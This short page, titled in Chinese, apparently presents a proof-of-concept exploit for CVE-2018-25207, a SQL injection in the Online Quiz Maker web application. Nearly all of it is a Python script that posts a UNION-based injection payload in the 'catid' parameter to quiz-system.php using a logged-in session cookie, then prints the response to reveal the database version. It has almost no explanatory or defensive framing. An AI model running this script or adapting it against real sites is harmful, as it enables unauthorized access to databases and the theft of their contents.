CVE-2018-25207 Online Quiz Maker SQL注入漏洞

import requests def exploit_sql_injection(target_url, session_cookie): """ PoC for CVE-2018-25207 SQL Injection in Online Quiz Maker Vulnerable parameters: catid, usern """ headers = { "Cookie": f"PHPSESSID={session_cookie}", "Content-Type": "application/x-www-form-urlencoded" } # Payload to extract database version using UNION based SQL injection # Assuming the query has 3 columns based on common structures in such apps payload = "1' UNION SELECT 1, version(), 3-- -" data = { "catid": payload, "submit": "submit" } try: # Targeting the vulnerable endpoint mentioned in description response = requests.post(f"{target_url}/quiz-system.php", data=data, headers=headers) if response.status_code == 200: print("[+] Request sent successfully.") print("[+] Check response for database version output.") print(response.text[:200]) # Print snippet of response else: print(f"[-] Request failed with status code: {response.status_code}") except Exception as e: print(f"[-] An error occurred: {e}") if __name__ == "__main__": # Example usage target = "http://example.com" # Requires a valid authenticated session (Low Privilege) sid = "valid_session_id_here" exploit_sql_injection(target, sid)